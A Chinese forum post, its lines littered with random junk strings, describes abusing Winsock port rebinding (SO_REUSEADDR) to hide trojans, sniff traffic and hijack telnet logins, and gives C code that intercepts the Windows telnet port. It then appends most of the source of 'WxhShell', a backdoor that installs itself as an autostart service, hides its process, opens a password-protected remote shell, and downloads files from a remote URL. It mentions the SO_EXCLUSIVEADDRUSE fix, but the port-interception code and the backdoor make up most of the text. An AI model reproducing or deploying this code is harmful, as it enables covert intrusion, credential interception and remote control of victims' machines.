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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: i^)WPP>4Aw  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n2 {SV  
ib$nc2BPb  
  saddr.sin_family = AF_INET; DVlJ*A  
&fwS{n;U  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); g JjN<&,  
er2cQS7R  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); x&Cp> +i  
pXu/(&?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2#vv$YD  
`pL^}_>|GM  
  这意味着什么?意味着可以进行如下的攻击: Zp&@h-%YoD  
Tde0~j}  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !lTda<;]  
.$!{-v[  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) eS'yGY0b  
fKHE;A*>%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,lt8O.h-l  
t 9^A(Vh"-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  FY'ty@|_s  
2 rN ,D(  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #aar9  
AVl~{k|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 M6rc!K  
Qd &" BEs  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 sbj";h=E  
L?5f+@0.  
  #include 2&Jd f  
  #include }7s>B24J  
  #include hePPxKQ-  
  #include    ?+0GfIV  
  DWORD WINAPI ClientThread(LPVOID lpParam);   At6qtoPRA  
  int main() *|% ^0#$c  
  { ka"337H  
  WORD wVersionRequested; ~rD={&0  
  DWORD ret; 8X$LC  
  WSADATA wsaData; k |YWOy@D~  
  BOOL val; yClx` S(  
  SOCKADDR_IN saddr; +Qxu$#  
  SOCKADDR_IN scaddr; 71fk.16  
  int err; m ee$"Y  
  SOCKET s; -%CoWcGP  
  SOCKET sc; (:pq77  
  int caddsize; 5fJ[}~  
  HANDLE mt; 4)6xU4eBaL  
  DWORD tid;   _[K"gu  
  wVersionRequested = MAKEWORD( 2, 2 ); Dg HaOAdU  
  err = WSAStartup( wVersionRequested, &wsaData ); 3;[DJ5  
  if ( err != 0 ) { A"v{~  
  printf("error!WSAStartup failed!\n");  Q=uRKh  
  return -1; T?Fcohz(  
  } )$ Mmn  
  saddr.sin_family = AF_INET; B,WTHU[AV  
   N587(wZ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^|!I +  
c{+AJ8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }8-\A7T  
  saddr.sin_port = htons(23); ? "/ fPV-  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Iu@y(wyg  
  { -r7]S  
  printf("error!socket failed!\n"); A{eLl  
  return -1; S8d8%R~1=h  
  } 5kypMHJm  
  val = TRUE; "=. t 36#  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 20RXK1So  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) V'Kgdj  
  { 8.J( r(;>  
  printf("error!setsockopt failed!\n"); bx4'en#  
  return -1; v``-F(i$  
  } )E#2J$TD  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =sJ _yq0#R  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 5yZTcS z  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -]uUYe c  
nl aM  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) j@gMb iu  
  { >'uU)Y {  
  ret=GetLastError(); ~[WF_NU1y  
  printf("error!bind failed!\n"); /iC;%r1L  
  return -1; -t2T(ha  
  } "9EE1];NT  
  listen(s,2); H5CR'Rp  
  while(1) $?G"GQ!.  
  { g>rp@M  
  caddsize = sizeof(scaddr); m([(:.X/IX  
  //接受连接请求 oX@ya3!Pz  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); )4>2IQ  
  if(sc!=INVALID_SOCKET) 'ly?P8h  
  { "gtHTqheH  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [H<bh%  
  if(mt==NULL) O,bkQY$v  
  { .nu @ o40  
  printf("Thread Creat Failed!\n"); T<3BT  
  break; fKC3-zm  
  } =<r8fXWZ  
  } g]c[O*NTL  
  CloseHandle(mt); Migd(uw'  
  } u 's`*T@.  
  closesocket(s); 3A:q7#m  
  WSACleanup(); n<sd!xmqFx  
  return 0; ,;?S\V  
  }   =gfI!w  
  DWORD WINAPI ClientThread(LPVOID lpParam) \<Sv3xy&O  
  { YJg,B\z}  
  SOCKET ss = (SOCKET)lpParam; 0~wF3BgV  
  SOCKET sc; 9SlNq05G7  
  unsigned char buf[4096]; eI.2`)>  
  SOCKADDR_IN saddr; @E( 7V(m/  
  long num; HoV^Y6  
  DWORD val; d)cOhZy  
  DWORD ret; f4-a?bp  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !Cgx.   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   " 96yp4v@  
  saddr.sin_family = AF_INET; %*aJLn+]_R  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^, l_{  
  saddr.sin_port = htons(23); ?Xdak|?i  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9Zry]$0~R  
  { !Fo*e  
  printf("error!socket failed!\n"); M.-"U+#aD  
  return -1; MV_Srz  
  } :j|IP)-f  
  val = 100; gqXS~K9t  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6S6f\gAM  
  { <FMq>d$\  
  ret = GetLastError(); [b{CkX06  
  return -1; aQ^umrj@?9  
  } )"f N!9,F  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8[r9HC  
  { l`kWz5[~  
  ret = GetLastError(); 5aad$f  
  return -1; >hBxY]< \  
  } 1im^17 X  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) r`)L ~/  
  { q~CA0AR  
  printf("error!socket connect failed!\n"); +*\X]06  
  closesocket(sc); }N_NvY  
  closesocket(ss); lo%;aK  
  return -1; `%+ mO88o  
  } ]E  =Iu  
  while(1) *Av"JAX  
  { (-]r~Ol^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 q-nSLE+_;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 [I4ege>  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Kvsh  
  num = recv(ss,buf,4096,0); hcVJBK  
  if(num>0) s yU9O&<  
  send(sc,buf,num,0); y/e 2l  
  else if(num==0) Rqwzh@}  
  break; ,q(&)L$S  
  num = recv(sc,buf,4096,0); b jAnaya  
  if(num>0) #r PP*  
  send(ss,buf,num,0); 7+x? " 4  
  else if(num==0) ^pM+A6 XY  
  break; +<,gB $j  
  } l3N I$Z u  
  closesocket(ss); 7t,t`  
  closesocket(sc); dU\%Cq-G)  
  return 0 ; *:i1Lv@  
  } VG/3xR&y  
VMoSLFp^R  
vI$t+m:  
========================================================== *yl>T^DjTC  
Ax!+P\\2~  
下边附上一个代码,,WXhSHELL 7'NwJ,$6\  
*6xgctk  
========================================================== Y+K|1r  
Vh}SCUof'  
#include "stdafx.h" /1?R?N2>0  
@ HZKc\1  
#include <stdio.h> r`c_e)STO  
#include <string.h> >0p$(>N]  
#include <windows.h> }j,[ 1@S  
#include <winsock2.h> $gBd <N9|c  
#include <winsvc.h> jxJv.  
#include <urlmon.h> 0]HYP;E"U  
L 8{\r$  
#pragma comment (lib, "Ws2_32.lib") P/&]?f0/  
#pragma comment (lib, "urlmon.lib") CK, 6ytB  
{'16:dTJ  
#define MAX_USER   100 // 最大客户端连接数 .9O$G2'oh  
#define BUF_SOCK   200 // sock buffer 1-.~7yC  
#define KEY_BUFF   255 // 输入 buffer p4VeRJk%  
zhY+x<-  
#define REBOOT     0   // 重启 *T0q|P~o%  
#define SHUTDOWN   1   // 关机 /?'; nGq  
'zh7_%  
#define DEF_PORT   5000 // 监听端口 ]kG(G%r|M  
s,a}?W  
#define REG_LEN     16   // 注册表键长度 yV)la@c  
#define SVC_LEN     80   // NT服务名长度 DcSnia62f  
?5kHa_^  
// 从dll定义API OFje+S  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1Bxmm#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r! Ay :r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +a^F\8H  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5BBD.!  
A.UUW  
// wxhshell配置信息 {BHI1Uw  
struct WSCFG { HHqwq.zIy  
  int ws_port;         // 监听端口 Gycm,Cy  
  char ws_passstr[REG_LEN]; // 口令 ko5V9Drc  
  int ws_autoins;       // 安装标记, 1=yes 0=no []s^   
  char ws_regname[REG_LEN]; // 注册表键名 _G1gtu]  
  char ws_svcname[REG_LEN]; // 服务名 bI|2@H V2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vM_:&j_?``  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )}9rwZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xC C:BO`pw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Vb BPB5 $q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]({~,8s  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1>L(ul(qGF  
4Vq%N  
}; MQin"\  
 @3kKJ  
// default Wxhshell configuration V`@>MOw^d  
struct WSCFG wscfg={DEF_PORT, $['Bv  
    "xuhuanlingzhe",  <T[E=#  
    1, F[ewn/]n  
    "Wxhshell", %/updw#{B  
    "Wxhshell", OT&k.!=  
            "WxhShell Service", Y2'cs~~$Ce  
    "Wrsky Windows CmdShell Service", Ali9pvE  
    "Please Input Your Password: ", y!]CJigpZ  
  1, imiR/V>N  
  "http://www.wrsky.com/wxhshell.exe", 7 I>G{  
  "Wxhshell.exe" epgPT'^  
    }; WOh|U4vt  
)& u5IA(  
// 消息定义模块 ?.Pg\ur  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =/\:>+p^.y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; QNDHOo>v  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Hr$QLtr  
char *msg_ws_ext="\n\rExit."; {&Q9"C  
char *msg_ws_end="\n\rQuit."; <id}<H  
char *msg_ws_boot="\n\rReboot..."; 1{P'7IEj  
char *msg_ws_poff="\n\rShutdown..."; tnLAJ+ -M  
char *msg_ws_down="\n\rSave to "; GRY2?'`  
$ /nY5[  
char *msg_ws_err="\n\rErr!"; 9uWY@zu  
char *msg_ws_ok="\n\rOK!"; /> 4"~q)  
vB+ '  
char ExeFile[MAX_PATH]; Zdn~`Q{  
int nUser = 0; "1, pHR-+R  
HANDLE handles[MAX_USER]; |g *XK6  
int OsIsNt; ;qBu4'C)T  
4 {9B9={  
SERVICE_STATUS       serviceStatus; awz;z?~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %Z*sU/^  
bu51$s?B  
// 函数声明 In[Cr/&/Y  
int Install(void); '? jlH0;  
int Uninstall(void); )XWP\ h  
int DownloadFile(char *sURL, SOCKET wsh); |.wEm;Bz  
int Boot(int flag); DfKr[cqLM  
void HideProc(void); `7H4Y&E  
int GetOsVer(void); yeHDa+}  
int Wxhshell(SOCKET wsl); VWO9=A*Y|  
void TalkWithClient(void *cs); o: ;"w"G  
int CmdShell(SOCKET sock); ;,]P=Ey  
int StartFromService(void); zz& ?{vJ  
int StartWxhshell(LPSTR lpCmdLine); vv=VRhwF  
g(4xC7xK6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); KgR<E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); QD%L0;j  
<^$<#K d  
// 数据结构和表定义 rl0<Ls  
SERVICE_TABLE_ENTRY DispatchTable[] = 8.[SU  
{ 'e6WDC1Am(  
{wscfg.ws_svcname, NTServiceMain}, GQ |Mr{.;  
{NULL, NULL} t#2(j1  
}; P 3'O/!  
x.q+uU$^  
// 自我安装 )&!&AlLn  
int Install(void) ?Ae ve n  
{ 4rrSb*  
  char svExeFile[MAX_PATH]; /d%=E  
  HKEY key; B7!3-1<k>  
  strcpy(svExeFile,ExeFile); !o$!Frc  
aE2.L;Tk?  
// 如果是win9x系统,修改注册表设为自启动 t]-5 ]oI  
if(!OsIsNt) { [p<w._b i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <n#DT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \eFR(gO+  
  RegCloseKey(key); 7nuU^wc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AnT3M.>ek  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p|]\P%,\  
  RegCloseKey(key); tPF.r  
  return 0; g1( IR)U!z  
    } ? YG)I;(  
  } o]opdw  
} rEF0oJ.  
else { 7a~X:#  
SCz318n  
// 如果是NT以上系统,安装为系统服务 o>VVsH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (P$H<FtH  
if (schSCManager!=0) ynrT a..  
{ JeE ;V![  
  SC_HANDLE schService = CreateService ^ (FdXGs[  
  ( hq #?kN  
  schSCManager, yNbjoFM.i  
  wscfg.ws_svcname, #Q /Arq  
  wscfg.ws_svcdisp, o !U 6?  
  SERVICE_ALL_ACCESS, 5^x1cUB]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p}~qf  
  SERVICE_AUTO_START, HZ:6zH   
  SERVICE_ERROR_NORMAL, 1 9CK+;b  
  svExeFile, ;&)-;l7M  
  NULL, ZEx}$<)_  
  NULL, Dg?:/=,=9r  
  NULL, w Y_)y  
  NULL, S@/IQR  
  NULL eYvWZJa4  
  ); IqoR7ajA  
  if (schService!=0) J G{3EWXR  
  { (P:<t6;+  
  CloseServiceHandle(schService); M "94#.dKK  
  CloseServiceHandle(schSCManager); 6g)G Y"49  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); LBZ+GB  
  strcat(svExeFile,wscfg.ws_svcname); 73\JwOn~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 736Jq^T  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z.;ez}6%V  
  RegCloseKey(key); V6,H}k   
  return 0; dx@-/^.  
    } rr02pM0  
  } M,\:<kNI  
  CloseServiceHandle(schSCManager); x5-}h*  
} S;286[oq@  
} Rx=>6,)'  
lUMS;H(  
return 1; fUA uqfj[  
} \6Zr  
[rV>57`YD  
// 自我卸载 4p,EBn9(  
int Uninstall(void) '|8} z4/g  
{ GE%Z9#E  
  HKEY key; 3!|;iJRH  
ud'-;W  
if(!OsIsNt) { "4{LN}`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^Dn D>h@q  
  RegDeleteValue(key,wscfg.ws_regname);  :7]Sa`  
  RegCloseKey(key); EWkLXU6t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ni-xx9)=  
  RegDeleteValue(key,wscfg.ws_regname); p o2!  
  RegCloseKey(key); +b3RkkC  
  return 0; ic#`N0s?  
  } 9Hb6nm  
} gf &Pn  
} LcTt)rs f  
else { )I^7)x  
$Y/9SV,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); RL@VSHXc  
if (schSCManager!=0) $!-c-0ub  
{ q$Zh@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ez fN&8E  
  if (schService!=0) _u5#v0Y  
  { g"p%C:NN  
  if(DeleteService(schService)!=0) { 1Z+8r  
  CloseServiceHandle(schService); p'*>vk  
  CloseServiceHandle(schSCManager); Cz\e w B  
  return 0; irFMmIb  
  } {GK;63`1  
  CloseServiceHandle(schService); fzb29 -  
  } -pf}  
  CloseServiceHandle(schSCManager); t^R][Ay&  
} e,vvzs o  
} .f%fHj  
dJeNbVd  
return 1; {JZZZY!n2  
} 6}[I2F_^  
)wam8k5  
// 从指定url下载文件 AN8`7F1  
int DownloadFile(char *sURL, SOCKET wsh) |:nOp(A\*  
{ m? J0i>H  
  HRESULT hr; 4o <Uy  
char seps[]= "/"; u~7hWiY<2  
char *token; DCIxRPw  
char *file; (C-{B[Y  
char myURL[MAX_PATH]; r3&G)g=u  
char myFILE[MAX_PATH]; |[<_GQl  
U@_dm/;0&  
strcpy(myURL,sURL); EUD~CZhS"k  
  token=strtok(myURL,seps); , pDnRRJ!  
  while(token!=NULL) 5[k/s}g  
  { Xx."$l  
    file=token; :DrWq{4  
  token=strtok(NULL,seps); `w#Oih!6A|  
  } [R(`W#W  
Y!~49<;  
GetCurrentDirectory(MAX_PATH,myFILE); $+8cc\fq  
strcat(myFILE, "\\"); Pk{_(ybaY  
strcat(myFILE, file); bv]`!g: C  
  send(wsh,myFILE,strlen(myFILE),0); LSa,1{  
send(wsh,"...",3,0); p4.wh|n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Se :.4<  
  if(hr==S_OK) 2,$8icM  
return 0; $2oTkOA   
else "bFTk/  
return 1; &gVN&  
r?+%?$  
} H*RC@O_hv  
0%9 q8 M;  
// 系统电源模块 zT =Ho   
int Boot(int flag) j"ThEx0  
{ lGPUIoUo  
  HANDLE hToken; Bn=by{i  
  TOKEN_PRIVILEGES tkp; f2Klt6"9  
mXRB7k  
  if(OsIsNt) { B:b5UD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ZXqSH${Tp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B8.Pn  
    tkp.PrivilegeCount = 1; ] bM)t<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6}gls}[0{e  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); KyVQh8  
if(flag==REBOOT) { 1tEgl\u\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) kw >v:F<M  
  return 0; /[a~3^Gs^  
} q.KG^=10  
else { 6Z>FTz_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A>vBQN  
  return 0; UldXYtGe  
} 2 Wt> Mi  
  } "9ZID-~]  
  else { h;C5hU 4P  
if(flag==REBOOT) { oibsh(J3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) oI0M%/aM  
  return 0; [>+4^&  
} s`M9    
else { ' KWyx  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *?5*m+  
  return 0; ;X8yFq  
} EY^1Y3D w0  
} 03|PYk 6EW  
i2@VB6]?  
return 1; y~Bh  
} *"+=K,#D  
#zG&|<hc  
// win9x进程隐藏模块 6.CbAi3Z  
void HideProc(void) gQo]  
{ ;\a YlV-  
%7"q"A r[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); TC @s  
  if ( hKernel != NULL ) Ee)T1~;W  
  { >QjAoDVX?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); X}=n:Ql'YY  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^`*9QjY  
    FreeLibrary(hKernel); Y'c>:;JEe  
  } =!kk|_0%E  
M`. tf_x  
return; !S^AgZ~  
} T m_bz&Q  
yWg@v +  
// 获取操作系统版本 T_s _p  
int GetOsVer(void) Y#!UPhg<  
{ 4E; VM{  
  OSVERSIONINFO winfo; I!^;8Pg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h hG4-HD  
  GetVersionEx(&winfo); WB?jRYp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OP~HdocB  
  return 1; )T/0S$@  
  else DNOueU  
  return 0; f1`gdQ)H  
} !Z`j2 e}  
hU(umL<  
// 客户端句柄模块 :V1W/c  
int Wxhshell(SOCKET wsl) MC?,UDNd%  
{ gcE|#1>  
  SOCKET wsh; J,V9k[88  
  struct sockaddr_in client; )2pbpbWX>  
  DWORD myID; O;z,qo X  
~rlB'8j(  
  while(nUser<MAX_USER) ~?D4[D|sB  
{ 9)y/:sO<P  
  int nSize=sizeof(client); _76PIR{an  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yL%K4$z  
  if(wsh==INVALID_SOCKET) return 1; y-T| #  
NhfJ30~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rx $mk  
if(handles[nUser]==0) r#+d&.|  
  closesocket(wsh); zAK+8{,  
else {!.(7wV\  
  nUser++; 4zASMu  
  } 2>|dF~"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L; T8?+x  
vGc,vjC3x  
  return 0; )'Oh `$M  
} }E+!91't.^  
;,$NAejgd  
// 关闭 socket O!zV)^r  
void CloseIt(SOCKET wsh) B\<Q ;RI2;  
{ Ao&\EcIOT  
closesocket(wsh); G'rxXJq  
nUser--; |M>eEE*F<  
ExitThread(0); P7J>+cm  
} nA?`BOe(  
hhSy0  
// 客户端请求句柄 XUM!Qv  
void TalkWithClient(void *cs) VcAue!MN  
{ uXI_M)  
X'wE7=29M  
  SOCKET wsh=(SOCKET)cs; |>27'#JC  
  char pwd[SVC_LEN]; V_>\ 9m  
  char cmd[KEY_BUFF]; ji1viv  
char chr[1]; YsG%6&zEq  
int i,j; sC27FVwo  
- |kA)M[  
  while (nUser < MAX_USER) { TK5K_V*7  
j;%-fvd;  
if(wscfg.ws_passstr) { oE<`VY|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QZ4v/Ou  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x1Lb*3Fe  
  //ZeroMemory(pwd,KEY_BUFF); LG-y]4a}  
      i=0; wQv'8A_}  
  while(i<SVC_LEN) { P1zKsY,l$<  
rW0kA1=E  
  // 设置超时 ZZWD8 AX  
  fd_set FdRead; cnSJ{T  
  struct timeval TimeOut; sqla}~CiX  
  FD_ZERO(&FdRead); 'HT7_$?*  
  FD_SET(wsh,&FdRead); P.6nA^hXB  
  TimeOut.tv_sec=8; rJPb 3F  
  TimeOut.tv_usec=0; K2 he4<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6^%UU o%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); LL]zT H0  
qgE 73.!`6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wDcj,:h`  
  pwd=chr[0]; 4S,`bnmB  
  if(chr[0]==0xd || chr[0]==0xa) { ^cV;~&|.Xk  
  pwd=0; $>*3/H  
  break; _Bj)r}~7#  
  } `o<' x.I  
  i++; =2[7 E  
    } lFa02p0  
z8{a(nKP  
  // 如果是非法用户,关闭 socket nFE4qm  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F4It/  
} W^fuScG)c  
F\fWvXdW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4/mig0"N.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >^%7@i:@U  
aJYgzr,  
while(1) { z)'Mk[  
n_$ :7J  
  ZeroMemory(cmd,KEY_BUFF); Tg!i%v(-t  
xG}(5Tt  
      // 自动支持客户端 telnet标准   A{UULVp  
  j=0; y(Y!?X I  
  while(j<KEY_BUFF) { {88)~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;} und*q  
  cmd[j]=chr[0]; kdCUORMK  
  if(chr[0]==0xa || chr[0]==0xd) { fYp'&Btb]x  
  cmd[j]=0; D|@/yDQ  
  break; JmPHAUd  
  } xm%Um\Pb7  
  j++; =jlt5 z  
    } VGtC)mG8)  
&Ts-a$Z7?S  
  // 下载文件 eK.e| z|  
  if(strstr(cmd,"http://")) { j2Tr $gx<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >"gf3rioW  
  if(DownloadFile(cmd,wsh)) W4[V}s5u  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -cZDG t  
  else :80Z6F.k`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ld3-C55  
  } -M%_\;"de  
  else { [`p=(/I&L  
,$1eFgY%  
    switch(cmd[0]) { WtViW=j'  
  RMd[Yr2e  
  // 帮助 ?dD&p8{  
  case '?': { h]og*(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); XS`M-{f`  
    break; s >e=?W  
  } Wi[~fI8^!  
  // 安装 "J+3w  
  case 'i': { , FhekaA  
    if(Install()) '6Ay&A3N]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CF+_/s#j^  
    else 350_CN,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Uu!f,L;ty  
    break; )jkXS TZ  
    } QA2borfy  
  // 卸载 j{Hao\F8  
  case 'r': { oo.!.Kv  
    if(Uninstall()) _cy2z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Vh.T&X5  
    else bA\<.d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YGv<VOWG2  
    break; &07]LF$]  
    } A$#p%y b  
  // 显示 wxhshell 所在路径 6fd+Q  /  
  case 'p': { xZ|Y ?R5m  
    char svExeFile[MAX_PATH]; GytXFL3`:  
    strcpy(svExeFile,"\n\r"); s:p[DEj-  
      strcat(svExeFile,ExeFile); /rq VB|M  
        send(wsh,svExeFile,strlen(svExeFile),0); S|apw7C  
    break; |~'IM3Jw(Y  
    } M@4UGM`J  
  // 重启 j'%$XvI  
  case 'b': { z |a sa*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8'<-:KG  
    if(Boot(REBOOT)) )t$,e2FY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @fs`=lL/  
    else { A3B56K  
    closesocket(wsh); vk*=4}:  
    ExitThread(0); Q-MQ9'  
    } w=LP"bqlI  
    break; MS0Fl|YA  
    } 8>X d2X  
  // 关机 dDm):Z*`b  
  case 'd': { )\6&12rj  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X5X?&* %{  
    if(Boot(SHUTDOWN)) 0{dz5gUde  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #ggf' QIHp  
